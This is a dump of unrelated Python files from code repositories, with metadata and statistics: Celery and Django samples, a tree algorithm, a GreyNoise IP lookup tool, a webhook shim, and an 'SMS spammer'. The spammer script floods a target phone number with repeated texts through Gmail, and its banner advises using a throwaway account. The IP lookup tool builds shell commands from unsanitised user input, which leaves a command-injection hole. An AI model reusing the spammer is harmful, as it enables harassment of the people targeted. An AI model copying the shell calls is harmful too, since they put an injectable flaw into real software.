10fc495f31042da59dbef77a757f87dcd0e527ae
[ "Apache-2.0" ]
9
2021-02-04T17:31:34.000Z
2022-03-17T02:23:50.000Z
import time from leek_demo.tasks.low import failed_task, succeeded_task, rejected_task, parent_task from leek_demo.tasks.high import critical_task, revoked_expired_task, recovered_task, revoked_terminated_task while True: succeeded_task.delay(4, 4) failed_task.delay() rejected_task.delay() critical_task.delay() revoked_expired_task.delay() revoked_terminated_task.delay() recovered_task.delay() parent_task.delay() time.sleep(1)
29.3125
109
0.776119
65
469
5.261538
0.369231
0.210526
0.070175
0.099415
0
0
0
0
0
0
0
0.007444
0.140725
469
15
110
31.266667
0.841191
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.230769
0
0.230769
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
0588e4d17897e71cd9d8ca6566de6cbaef09121a
2,723
py
Python
orders/models.py
IT-Support-L2/mytek
b168b3934775437fd462c67e59b9faa972f7dc4a
[ "MIT" ]
23
2021-09-14T16:34:48.000Z
2022-03-04T22:02:46.000Z
orders/models.py
IT-Support-L2/mytek
b168b3934775437fd462c67e59b9faa972f7dc4a
[ "MIT" ]
4
2021-10-04T20:08:32.000Z
2022-01-29T02:46:53.000Z
orders/models.py
IT-Support-L2/mytek
b168b3934775437fd462c67e59b9faa972f7dc4a
[ "MIT" ]
6
2021-09-30T06:28:12.000Z
2022-01-26T14:52:43.000Z
from django.db import models from accounts.models import Account from store.models import Product class Payment(models.Model): user = models.ForeignKey(Account, on_delete=models.CASCADE) payment_id = models.CharField(max_length=100) payment_method = models.CharField(max_length=100) amount_paid = models.CharField(max_length=100) status = models.CharField(max_length=100) created_at = models.DateTimeField(auto_now_add=True) def __str__(self): return self.payment_id class Order(models.Model): STATUS = ( ('New', 'New'), ('Accepted', 'Accepted'), ('Completed', 'Completed'), ('Cancelled', 'Cancelled'), ) user = models.ForeignKey(Account, on_delete=models.SET_NULL, null=True) payment = models.ForeignKey(Payment, on_delete=models.SET_NULL, blank=True, null=True) order_number = models.CharField(max_length=20) f_name = models.CharField(max_length=50) l_name = models.CharField(max_length=50) email = models.EmailField(max_length=100) tel = models.CharField(max_length=50) address = models.CharField(max_length=50) country = models.CharField(max_length=50, blank=True) # blank=True in case the customer is within the store's country state = models.CharField(max_length=50) city = models.CharField(max_length=50) zipcode = models.CharField(max_length=20) order_note = models.CharField(max_length=100, blank=True) order_total = models.FloatField() tax = models.FloatField() status = models.CharField(max_length=10, choices=STATUS, default='New') ip = models.CharField(blank=True, max_length=20) is_ordered = models.BooleanField(default=False) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) def full_name(self): return f"{self.f_name} {self.l_name}" def thecountry(self): if self.country: return f"{self.country}, {self.state}, {self.city}" else: return f"{self.state}, {self.city}" def __str__(self): return self.f_name class OrderProduct(models.Model): order = models.ForeignKey(Order, on_delete=models.CASCADE) payment = models.ForeignKey(Payment, on_delete=models.SET_NULL, blank=True, null=True) user = models.ForeignKey(Account, on_delete=models.CASCADE) product = models.ForeignKey(Product, on_delete=models.CASCADE) quantity = models.IntegerField() product_price = models.FloatField() ordered = models.BooleanField(default=False) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) def __str__(self): return self.product.name
38.352113
121
0.709512
353
2,723
5.283286
0.243626
0.082038
0.144772
0.193029
0.569437
0.35067
0.29866
0.276676
0.202681
0.202681
0
0.017825
0.175909
2,723
70
122
38.9
0.81328
0.022402
0
0.2
0
0
0.057917
0
0
0
0
0
0
1
0.083333
false
0
0.05
0.066667
0.883333
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
058926edeca4c0a6be107a325530548d94b38a7a
527
py
Python
invert_binary_tree.py
joaoh82/leetcode_with_python
4627b69cbe9c7684e9df95968f7ac9d533a71055
[ "MIT" ]
null
null
null
invert_binary_tree.py
joaoh82/leetcode_with_python
4627b69cbe9c7684e9df95968f7ac9d533a71055
[ "MIT" ]
null
null
null
invert_binary_tree.py
joaoh82/leetcode_with_python
4627b69cbe9c7684e9df95968f7ac9d533a71055
[ "MIT" ]
null
null
null
# Invert a binary tree. # Input: # 4 # / \ # 2 7 # / \ / \ # 1 3 6 9 # # Output: # 4 # / \ # 7 2 # / \ / \ # 9 6 3 1 class TreeNode: def __init__(self, val): self.val = val self.left = None self.right = None class Solution: def invertTree(self, node: TreeNode) -> TreeNode: if not node: return None node.left, node.right = self.invertTree(node.right), self.invertTree(node.left) return node
16.46875
87
0.472486
62
527
3.951613
0.451613
0.057143
0.106122
0.187755
0.204082
0
0
0
0
0
0
0.045016
0.409867
527
32
88
16.46875
0.742765
0.254269
0
0
0
0
0
0
0
0
0
0
0
1
0.181818
false
0
0
0
0.545455
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
05979df676f69ddf9c69f0bac86fefa105a36444
558
py
Python
mywebsite/settings_sample.py
benjlombard/django-website_1
af41b63b45cfcb0aa8c8c35c5af54fda9e9ed847
[ "MIT" ]
null
null
null
mywebsite/settings_sample.py
benjlombard/django-website_1
af41b63b45cfcb0aa8c8c35c5af54fda9e9ed847
[ "MIT" ]
null
null
null
mywebsite/settings_sample.py
benjlombard/django-website_1
af41b63b45cfcb0aa8c8c35c5af54fda9e9ed847
[ "MIT" ]
null
null
null
""" Django settings for mywebsite project. Generated by 'django-admin startproject' using Django 2.1.7. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ from .conf.dev import * # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '' # Database # https://docs.djangoproject.com/en/2.1/ref/settings/#databases DATABASES = { 'default': { ENGINE: '', NAME: '', } }
20.666667
66
0.715054
81
558
4.91358
0.617284
0.020101
0.165829
0.188442
0.288945
0.288945
0.288945
0.288945
0.201005
0
0
0.018947
0.148746
558
26
67
21.461538
0.818947
0.781362
0
0
1
0
0.063636
0
0
0
0
0
0
1
0
false
0
0.125
0
0.125
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
552d5285505208bbb7e1c653b4a85b3342ec22b8
34,736
py
Python
ip_lookup.py
JimChr-R4GN4R/GreyNoiseSploit
c73685d1892659f9ca694a232d4ac39699c0ee62
[ "MIT" ]
1
2020-08-19T12:07:54.000Z
2020-08-19T12:07:54.000Z
ip_lookup.py
JimChr-R4GN4R/GreyNoiseSploit
c73685d1892659f9ca694a232d4ac39699c0ee62
[ "MIT" ]
null
null
null
ip_lookup.py
JimChr-R4GN4R/GreyNoiseSploit
c73685d1892659f9ca694a232d4ac39699c0ee62
[ "MIT" ]
null
null
null
import os import readline import sys import requests from subprocess import call from time import gmtime, strftime import re import socket import json ####################################################################################################################################### class AutoCompleter(object): # Custom completer ###### Autocompleter for all script's available commands and extenders ### def __init__(self, options): self.options = sorted(options) def complete(self, text, state): if state == 0: # on first trigger, build possible matches if text: # cache matches (entries that start with entered text) self.matches = [s for s in self.options if s and s.startswith(text)] else: # no text entered, all matches possible self.matches = self.options[:] # return match indexed by state try: return self.matches[state] except IndexError: return None commands_list = ["context", "quick", "multi", "ip_finder", "hname2ip","list"] # List of the available commands completer = AutoCompleter(commands_list) # autocomplete list (commands + extenders) readline.set_completer(completer.complete) ### readline.parse_and_bind('tab: complete') ### ####################################################################################################################################### ########################################################################################################################################################################################### ## ###### API Area ## ### ### def api_length(api_file): ######################################################################## lines=0 #### Check API's length words=0 ## characters=0 ## for line in api_file: ## wordslist=line.split() ## lines=lines+1 ## words=words+len(wordslist) ## characters += sum(len(word) for word in wordslist) ## return characters ## ######################################################################## ### /\ ### ||### 1.Check API's length ### || ################################################################################################################################## #### Read and Verify API key ########################################################################## ## api_file = open('greynoise_api_v2.txt','r') #### Read API key and check it's length ## api_length_chars = int(api_length(api_file)) # Check API's key length ## ## api_file.close() # after read for while condition,close file ## ## ########################################################################## ## ## ## while (api_length_chars != 64): # If API's file is empty or less than 64 chars (because API keys have 64 chars) ## ## ############################################################################## ## ## ## api_file = open('greynoise_api_v2.txt','w') #open file with write perms ## ## ## ## ## ## api_key = input("Please type your API here:") ## ## ## ## ## ## api_file.write(api_key) ##### Write API key in greynoise_api_v2.txt ## api_file.close() ## ## ############################################################################## ## ## ## ###################################################### ## api_file = open('greynoise_api_v2.txt','r') #### Check new API key's length ## api_length_chars = int(api_length(api_file)) ## ## ###################################################### ## ## ## ## ## ## api_file.close() # Final close file ## ## ################################################################################################################################## ###|| ###||### 2.Copy validated API key in $api_key ###\/ ############################################## api_file = open('greynoise_api_v2.txt','r') #### Copy validated API key in $api_key api_key = api_file.read().replace('\n','') ## api_file.close() ## ############################################## ### ## ### ## ### ########################################################################################################################################################################################### def hname2ip(host_name): ######################################################################################################## ip = call("host '"+host_name+"' | awk '/has address/ { print $4 }' > temp.txt", shell=True) #### Find host's ip ip = open('temp.txt','r') ## ip = ip.readline().replace('\n','') ## open('temp.txt', 'w').close() # erase everything in temp.txt ## return ip ## ######################################################################################################## ############################################################################################# ###### Check IP' valid format ### regex = '''^(25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)\.( 25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)\.( 25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)\.( 25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)''' def check_valid_ip(ip): if(re.search(regex, ip)): # If ip's format is x.x.x.x then ############################### try: #### Check if it contains characters except numbers socket.inet_aton(ip) ## return 1 ## except socket.error: ## return 0 ## ############################### else: # If ip's format is not x.x.x.x then return 0 ### ### ############################################################################################# def file_name_generator(): #################################################### time = strftime("%Y-%m-%d:-:%H:%M:%S", gmtime()) #### get time and make file's name with the results (main_command:-:target:-:date:-:time.txt) file_name = command+":-:"+ip+":-:"+time+".txt" ## file_name = file_name.replace('/','_') ## return file_name ## #################################################### def results_quick_multi(file_name): ############################################################################################################################################################################################################################################################################################################################### ## ###### If command was quick,then go here and edit the results and then go to results() function ## ### ### with open(file_name, 'r') as json_file: ### ### ###################################################### errors_generated = 0 #### If there are no errors,then errors_generated = 0 else errors_generated > 0 file_items_str = str(json_file) ## errors_generated = file_items_str.count('error') ## ###################################################### if errors_generated > 0: # If there are errors,then print them pass # Go directly and print the error else: # if there are no errors, we expect normal results to print ########################################################################## file_results=json_file.read() #### Read results file_items = json.loads(file_results) ## ########################################################################## ###################################################################################################################################################################################################################################################### #### Print code's meaning and then the results in file.txt ## ########################################################################################################################################################################################################## if str(file_items['code']) == "0x00": ## print("Code: "+str(file_items['code'])+" (The IP has never been observed scanning the Internet)") #### Find and print what the code means elif str(file_items['code']) == "0x01": ## print("Code: "+str(file_items['code'])+" (The IP has been observed by the GreyNoise sensor network)") ## elif str(file_items['code']) == "0x02": ## print("Code: "+str(file_items['code'])+" (The IP has been observed scanning the GreyNoise sensor network, but has not completed a full connection, meaning this can be spoofed)") ## elif str(file_items['code']) == "0x03": ## print("Code: "+str(file_items['code'])+" (The IP is adjacent to another host that has been directly observed by the GreyNoise sensor network)") ## elif str(file_items['code']) == "0x04": ## print("Code: "+str(file_items['code'])+" (Reserved)") ## elif str(file_items['code']) == "0x05": ## print("Code: "+str(file_items['code'])+" (This IP is commonly spoofed in Internet-scan activity)") ## elif str(file_items['code']) == "0x06": ## print("Code: "+str(file_items['code'])+" (This IP has been observed as noise, but this host belongs to a cloud provider where IPs can be cycled frequently)") ## elif str(file_items['code']) == "0x07": ## print("Code: "+str(file_items['code'])+" (This IP is invalid)") ## elif str(file_items['code']) == "0x08": ## print("Code: "+str(file_items['code'])+" (This IP was classified as noise, but has not been observed engaging in Internet-wide scans or attacks in over 60 days)") ## else: ## print("Code: " + str(file_items['code'])) ## ########################################################################################################################################################################################################## print() ## ## ###################################################################################################################################################################################################################################################### results(file_name) # Go and print the edited results ### ### ## ### ## ### ############################################################################################################################################################################################################################################################################################################################### ### || ### ||### If command was quick, then print the edited results ### || ### \/ def results(file_name): ################################## result = open(file_name,'r') #### read and print the results result = result.read() ## print(result) ## ################################## os.chdir("IP_Lookup") # Get in IP_Lookup folder ########################################################################## main_command = input("\033[0;37m┌─[IP Lookup]\n└──╼>>>\033[1;32;0m") #### Input ########################################################################## while main_command != "exit": ################################################################################################################################################################################################################################################################### ### ### ### ### ### ### ### ### extender = 0 # If extender=0, then user did not put -extender. sub_command = main_command.split() try: command = sub_command[0] ################################################## try: #### If extender > 0, then user tries to put an extender. extender = int(sub_command[1].count('-')) ## except: ## pass ## ################################################## ##############################################################################################--context if command == "context": ip = sub_command[1] if sub_command[1] == "-hname2ip": # context -hname2ip host.com ############################### host_name = sub_command[2] #### find host's ip and put it in $ip variable ip = hname2ip(host_name) ## ############################### file_name = file_name_generator() # generate save file's name shell_command = call("curl -s -X GET 'https://api.greynoise.io/v2/noise/context/"+ip+"' -H 'Accept: application/json' -H 'key: "+api_key+"' | jq > "+file_name , shell=True) # save API's results in file_name.txt results(file_name) # print(results) elif extender > 0: print("Invalid extender!") else: # context xxx.xxx.xxx.xxx ################################################## check_valid_ip(ip) #### Check if IP has valid format while check_valid_ip(ip) == 0: ## ip = input("Please type a valid IP: ") ## ## if ip == "": # If empty,then cancel ## break ## ################################################## if check_valid_ip(ip) == 1: # If ip was valid then continue print() file_name = file_name_generator() shell_command = call("curl -s -X GET 'https://api.greynoise.io/v2/noise/context/"+ip+"' -H 'Accept: application/json' -H 'key: "+api_key+"' | jq > "+file_name , shell=True) results(file_name) # print(results) print() ##############################################################################################__context ##############################################################################################--quick elif command == "quick": if sub_command[1] == "-hname2ip": # quick -hname2ip host.com ############################### host_name = sub_command[2] #### find host's ip and put it in $ip variable ip = hname2ip(host_name) ## ############################### file_name = file_name_generator() # generate save file's name shell_command = call("curl -s -X GET 'https://api.greynoise.io/v2/noise/quick/"+ip+"' -H 'Accept: application/json' -H 'key: "+api_key+"' | jq > "+file_name , shell=True) results(file_name) # print(results) elif extender > 0: # If -extender is not -hname2ip, then print error print("Invalid extender!") else: # quick xxx.xxx.xxx.xxx ip = sub_command[1] ################################################## check_valid_ip(ip) #### Check if IP has valid format while check_valid_ip(ip) == 0: ## ip = input("Please type a valid IP: ") ## ## if ip == "": # If empty,then cancel ## break ## ################################################## if check_valid_ip(ip) == 1: # If ip was valid then continue print() file_name = file_name_generator() shell_command = call("curl -s -X GET 'https://api.greynoise.io/v2/noise/quick/"+ip+"' -H 'Accept: application/json' -H 'key: "+api_key+"' | jq > "+file_name , shell=True) results_quick_multi(file_name) # Print results print() ##############################################################################################__quick ##############################################################################################--multi elif command == "multi": if sub_command[1] == "-list": # multi -list list/path/ip_list.txt list_path = sub_command[2] list_path_file = open(list_path,'r') list_path_file = list_path_file.read().replace('\n',',').replace(' ',',').replace(',,',',') print() ip = list_path.replace('/','-') # give at filename,the list path file_name = file_name_generator() shell_command = call("curl -s -X GET 'https://api.greynoise.io/v2/noise/multi/quick?ips="+list_path_file+"' -H 'Accept: application/json' -H 'key: "+api_key+"' | jq > "+file_name , shell=True) results(file_name) # print(results) print() elif extender > 0: print("Invalid extender!") else: # multi x.x.x.1,x.x.x.2,3.2.1.1 ip = sub_command[1] print() file_name = file_name_generator() shell_command = call("curl -s -X GET 'https://api.greynoise.io/v2/noise/multi/quick?ips="+ip+"' -H 'Accept: application/json' -H 'key: "+api_key+"' | jq > "+file_name , shell=True) results(file_name) # print(results) print() ##############################################################################################__multi ##############################################################################################--ip_finder elif command == "ip_finder": ip = sub_command[1] shell_command = call("host '"+ip+"' | awk '/has address/ { print $4 }'", shell=True) ##############################################################################################__ip_finder ##############################################################################################--help elif command == "help": print("\033[0;37m") shell_command = call("cat help.txt", shell=True) print("\033[1;32;0m") ##############################################################################################__help ##############################################################################################--help elif command == "c_help": print("\033[0;37m") shell_command = call("cat codes_help.txt", shell=True) print("\033[1;32;0m") ##############################################################################################__help ###############################################--clear elif command == "clear": shell_command = call("clear", shell=True) ###############################################__clear #################################################--exit elif command == "exit": commands_list = [] call("cd .. ; ./greynoise.sh", shell=True) #################################################__exit ############## except: #### If there is no or not valid command,then read again pass ## ############## ########################################################################## main_command = input("\033[0;37m┌─[IP Lookup]\n└──╼>>>\033[1;32;0m") #### Input ########################################################################## ### ### ### ### ### ### ### ### ###################################################################################################################################################################################################################################################################
76.849558
415
0.201606
1,660
34,736
4.093373
0.173494
0.041207
0.033554
0.044739
0.446799
0.386755
0.371744
0.358646
0.325533
0.300662
0
0.01348
0.549372
34,736
451
416
77.019956
0.419856
0.202009
0
0.429268
0
0.063415
0.122662
0.01116
0
0
0.001835
0
0
1
0.039024
false
0.014634
0.043902
0
0.126829
0.141463
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
552f72cc2b26630080e93588edf6b335d6bc8099
2,690
py
Python
main.py
WardBenjamin/Captioneer
832a57ac444da8469fcc7e4375a20d0ca388f060
[ "MIT" ]
null
null
null
main.py
WardBenjamin/Captioneer
832a57ac444da8469fcc7e4375a20d0ca388f060
[ "MIT" ]
7
2021-05-24T01:44:17.000Z
2021-05-24T15:07:01.000Z
main.py
WardBenjamin/Captioneer
832a57ac444da8469fcc7e4375a20d0ca388f060
[ "MIT" ]
1
2021-05-24T01:48:15.000Z
2021-05-24T01:48:15.000Z
""" Main entry point """ from src.app import create_app if __name__ == "__main__": app = create_app() print("main") app.run() # import logging # import os # import pathlib # import sys # import urllib.parse # # _path_apps = {} # # def wv_static_server(path): # global _path_apps # # from webview import StaticFiles # from webview.serving import get_wsgi_server # # rootdir, filename = os.path.split(path) # # # Get/Build a WSGI app to serve the path and spin it up # if rootdir not in _path_apps: # _path_apps[rootdir] = StaticFiles(rootdir) # url = get_wsgi_server(_path_apps[rootdir]) # # if filename is not None: # url = urllib.parse.urljoin(url, filename) # # return url # # # if __name__ == "__main__": # # logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) # # import webview # import webview.serving # # def get_current_url(current_window: webview.window.Window) -> None: # """ # Spit out the current URL for use in debugging with an external browser # :param current_window: Current pywebview application window # :return: None # """ # print(current_window.get_current_url()) # # def open_file_dialog(window): # # get_current_url(window) # # file_types = ('Video Files (*.mp4)', 'All files (*.*)') # # result = window.create_file_dialog(webview.OPEN_DIALOG, # allow_multiple=False, # file_types=file_types) # # resolved_url = wv_static_server(result[0]) # print(fr"Opening `{result[0]}` from `{resolved_url}`") # # window.evaluate_js( # rf""" # var vid = document.createElement('video'); # vid.class = "rounded-lg overflow-hidden"; # var vid_src = document.createElement('source'); # vid_src.src = "{resolved_url}"; # vid_src.type = "video/mp4"; # vid.appendChild(vid_src); # document.getElementById('video-container').appendChild(vid); # # """ # ) # # window.evaluate_js( # # r""" # # $(document).ready(function($) { # # $('#video-container').mediaelementplayer(); # # }); # # """ # # ) # # window = webview.create_window('Captioneer v0.1', 'static/index.html', confirm_close=True) # # # TODO: get_current_url can be attached to window.loaded, where current_window = webview.windows[0] # webview.start(open_file_dialog, window, debug=True, http_server=True)
29.56044
105
0.573978
292
2,690
5.044521
0.417808
0.027155
0.035302
0.025798
0
0
0
0
0
0
0
0.0037
0.296654
2,690
90
106
29.888889
0.774841
0.89145
0
0
0
0
0.061224
0
0
0
0
0.011111
0
1
0
false
0
0.2
0
0.2
0.2
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
2
553afc41880f1fe48486ee8ed2749fe22ed9ac7a
53
py
Python
src/dnslookupapi/version.py
whois-api-llc/dns-lookup-py
dc8e8cf4fd942b349c418f8e1e2466f996001259
[ "MIT" ]
null
null
null
src/dnslookupapi/version.py
whois-api-llc/dns-lookup-py
dc8e8cf4fd942b349c418f8e1e2466f996001259
[ "MIT" ]
null
null
null
src/dnslookupapi/version.py
whois-api-llc/dns-lookup-py
dc8e8cf4fd942b349c418f8e1e2466f996001259
[ "MIT" ]
null
null
null
VERSION = '1.0.0' LIBRARY_NAME = 'dns-lookup-python'
17.666667
34
0.698113
9
53
4
0.888889
0
0
0
0
0
0
0
0
0
0
0.06383
0.113208
53
2
35
26.5
0.702128
0
0
0
0
0
0.415094
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
554675b18b4974155757672556b76834790592b0
2,192
py
Python
script.py
mraza007/sms-spammer
793ac2ff8fc164abde849543af24e9d9363e3d86
[ "MIT" ]
null
null
null
script.py
mraza007/sms-spammer
793ac2ff8fc164abde849543af24e9d9363e3d86
[ "MIT" ]
null
null
null
script.py
mraza007/sms-spammer
793ac2ff8fc164abde849543af24e9d9363e3d86
[ "MIT" ]
null
null
null
import smtplib,getpass from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart print(""" ________ ___ _____ _____ / ___| \/ |/ ___| / ___| \ `--.| . . |\ `--. \ `--. _ __ __ _ _ __ ___ _ __ ___ ___ _ __ `--. \ |\/| | `--. \ `--. \ '_ \ / _` | '_ ` _ \| '_ ` _ \ / _ \ '__| /\__/ / | | |/\__/ / /\__/ / |_) | (_| | | | | | | | | | | | __/ | \____/\_| |_/\____/ \____/| .__/ \__,_|_| |_| |_|_| |_| |_|\___|_| | | |_| * Before you begin make sure you create a throwaway gmail account to use with this script and make sure you turn on less secure apps on. or you can use your account gmail account at your own risk. * In order to find smsgateway and carrier of the target person you can use the following website (https://freecarrierlookup.com/) * in the number tab use the input like following number@smsgateway example: XXX-XXX-XXXX@tmomail.com * GMAIL Sending limit is 500 you can't send 500 messages using gmail smtp in one go. """) your_email = input('Enter Your Email: ') your_password = getpass.getpass('Enter Password: ') target = input("Enter target's number with sms-gateway: ") your_msg = input('Enter your message or gif link: ') number = int(input('How many texts would you like to send: ')) def mail_server(email,sms_gateway,text): email = your_email pas = your_password smtp = 'smtp.gmail.com' port = 587 server = smtplib.SMTP(smtp,port) server.starttls() server.login(email,pas) server.sendmail(email,sms_gateway,text) server.quit() def send_text(text): msg = MIMEMultipart() email = your_email sms_gateway = target msg['From'] = your_email msg['To'] = target msg['Subject'] = "SMS SPAMMER" body = your_msg msg.attach(MIMEText(body, 'plain')) sms = msg.as_string() mail_server(email,sms_gateway,sms) for nums in range(0,number): send_text(your_msg) print(f'SENDING TEXT {nums}')
37.793103
140
0.566606
243
2,192
4.613169
0.440329
0.040143
0.053524
0.032114
0.044603
0
0
0
0
0
0
0.006545
0.30292
2,192
57
141
38.45614
0.727094
0
0
0.042553
0
0.148936
0.605383
0.010949
0
0
0
0
0
1
0.042553
false
0.06383
0.06383
0
0.106383
0.042553
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
55508095561cb36001b8f16496a423b42f7b7c99
5,234
py
Python
loginsightwebhookdemo/vrealizeorchestrator.py
sentania/webhook-shims
89c2de05e0455f59fdd869056fde51cb670d39b4
[ "Apache-2.0" ]
38
2016-07-21T15:02:36.000Z
2022-03-20T21:01:02.000Z
loginsightwebhookdemo/vrealizeorchestrator.py
loginsightwebhooks/loginsightwebhooks
76a9f450cdc4fe3a19928dd22699502fb3350b07
[ "Apache-2.0" ]
66
2016-06-03T03:48:09.000Z
2021-09-27T07:58:06.000Z
loginsightwebhookdemo/vrealizeorchestrator.py
loginsightwebhooks/loginsightwebhooks
76a9f450cdc4fe3a19928dd22699502fb3350b07
[ "Apache-2.0" ]
34
2016-06-02T21:23:39.000Z
2022-02-21T10:31:07.000Z
#!/usr/bin/env python from loginsightwebhookdemo import app, parse, callapi from flask import request, json import base64 import re __author__ = "John Dias and Steve Flanders" __license__ = "Apache v2" __version__ = "1.3" # vRealize Orchestrator server workflow hostname:port (default port is 8281) VROHOSTNAME = '' ########################################################################################## # You can use the following methods for authentication # * Add a .netrc to the home director of the user running the shim with the vro fqdn, username # and password. Leave USENETRC = True # * Basic auth by completing VROUSER and VROPASS below # * OAuth token by completing the VROTOKEN below (warning, the token will expire if unused) # * SSO HoK by completing the VROHOK below (warning, the HoK will expire if unused) # # You may also pass the OAuth or HoK values via the query as shown below. # If you intend to use an auth method other than .netrc, flip USENETRC to False ########################################################################################## USENETRC = True VROUSER = '' VROPASS = '' VROTOKEN = '' VROHOK = '' # For some labs, using self-signed will result in error during request due to cert check # flip this flag to False to bypass certificate checking in those cases VERIFY = True @app.route("/endpoint/vro/<WORKFLOWID>", methods=['POST']) @app.route("/endpoint/vro/<WORKFLOWID>/<ALERTID>", methods=['PUT', 'POST']) @app.route("/endpoint/vro/<WORKFLOWID>/oauth/<TOKEN>", methods=['POST']) @app.route("/endpoint/vro/<WORKFLOWID>/oauth/<TOKEN>/<ALERTID>", methods=['PUT', 'POST']) @app.route("/endpoint/vro/<WORKFLOWID>/sso/<HOK>", methods=['POST']) @app.route("/endpoint/vro/<WORKFLOWID>/sso/<HOK>/<ALERTID>", methods=['PUT', 'POST']) def vro(WORKFLOWID=None, TOKEN=None, HOK=None, ALERTID=None): """ Start a vRealize Orchestrator workflow, passing the entire JSON alert as a base64-encoded string. The `WORKFLOWID` and optionally `TOKEN` is passed in the webhook URL. The workflow is responsible for parsing base64 -> json -> messages """ bauth = request.authorization if bauth is not None: global VROUSER global VROPASS VROUSER = bauth.username VROPASS = bauth.password if not WORKFLOWID: return ("WORKFLOWID must be set in the URL (e.g. /endpoint/vro/<WORKFLOWID>", 500, None) if not re.match('[a-z0-9-]+', WORKFLOWID, flags=re.IGNORECASE): return ("WORKFLOWID must consist of alphanumeric and dash characters only", 500, None) if not VROHOSTNAME: return("VROHOSTNAME parameter is not net, please edit the shim!", 500, None) if not USENETRC and (not VROUSER and not VROPASS and not VROTOKEN and not TOKEN and not VROHOK and not HOK): return ("VRO* authentication parameters must be set, please edit the shim!", 500, None) if TOKEN is None and VROTOKEN: TOKEN = VROTOKEN elif HOK is None and VROHOK: HOK = VROHOK AUTH = None HEADERS = None if TOKEN is not None: HEADERS = {"Authorization": TOKEN} elif HOK is not None: HEADERS = {"Authorization": "Bearer " + HOK} elif not USENETRC: AUTH = (VROUSER, VROPASS) if ALERTID is None: # LI payload a = parse(request) payload = { "parameters": [ { "value": { "string": { "value": base64.b64encode(request.get_data()) } }, "type": "string", "name": "messages", "scope": "local" }, { "value": { "string": { "value": a['AlertName'] } }, "type": "string", "name": "alertName", "scope": "local" }, { "value": { "number": { "value": a['NumHits'] } }, "type": "number", "name": "hitCount", "scope": "local" } ] } else: # vROps payload # If you would like, you can parse the payload from vROps. However, it is # probably easier to just pass the ALERTID as workflow input to a wrapper and # look up the alert from vRO. This gets around the problem of having to encode # the alert payload for vRO. # a = parse(request) payload = { "parameters": [ { "value": { "string": { "value": ALERTID } }, "type": "string", "name": "alertId", "scope": "local" } ] } return callapi("https://" + VROHOSTNAME + "/vco/api/workflows/" + WORKFLOWID + "/executions", 'post', json.dumps(payload), HEADERS, AUTH, VERIFY)
37.654676
149
0.529996
556
5,234
4.965827
0.368705
0.037668
0.053242
0.041289
0.174937
0.143426
0.143426
0.105034
0.036219
0
0
0.008872
0.332442
5,234
138
150
37.927536
0.781339
0.21303
0
0.181818
0
0
0.23764
0.071019
0
0
0
0
0
0
null
null
0.050505
0.040404
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
5575fa5dfc7b9babb45fc027dac65e7cd0e0e2d9
1,011
py
Python
tuning/ptatuner.py
prdalmia/GaloisGPU
7b04535b4964eda933157546178e6ad3872cb7f3
[ "BSD-3-Clause" ]
24
2018-06-18T20:58:29.000Z
2021-05-27T22:07:22.000Z
tuning/ptatuner.py
prdalmia/GaloisGPU
7b04535b4964eda933157546178e6ad3872cb7f3
[ "BSD-3-Clause" ]
1
2019-11-11T05:16:10.000Z
2019-11-13T18:18:10.000Z
tuning/ptatuner.py
prdalmia/GaloisGPU
7b04535b4964eda933157546178e6ad3872cb7f3
[ "BSD-3-Clause" ]
12
2018-08-30T13:17:01.000Z
2020-08-24T11:10:47.000Z
#!/usr/bin/env python import lsgtuner import re import opentuner from lsgtuner import IntegerStepParameter class pta(lsgtuner.LSGBinary): debug=True binary = "./run.sh" make_target = "pta" inputs = ['../../inputs/tshark'] #, '../../inputs/vim'] #, '../../inputs/pine'] params = [IntegerStepParameter('DEF_THREADS_PER_BLOCK', 32, 1024, 32), IntegerStepParameter('UPDATE_THREADS_PER_BLOCK', 32, 1024, 32), IntegerStepParameter('HCD_THREADS_PER_BLOCK', 32, 512, 32), IntegerStepParameter('COPY_INV_THREADS_PER_BLOCK', 32, 512, 32), IntegerStepParameter('STORE_INV_THREADS_PER_BLOCK', 32, 512, 32), IntegerStepParameter('GEP_INV_THREADS_PER_BLOCK', 32, 512, 32), ] runtime_re = re.compile(r"SOLVE runtime2: ([0-9.]+) ms.") output_h = "pta_tuning.h" if __name__ == "__main__": argparser = opentuner.default_argparser() lsgtuner.GenericLSGTuner.main(argparser.parse_args(), lsgbinary=pta())
36.107143
83
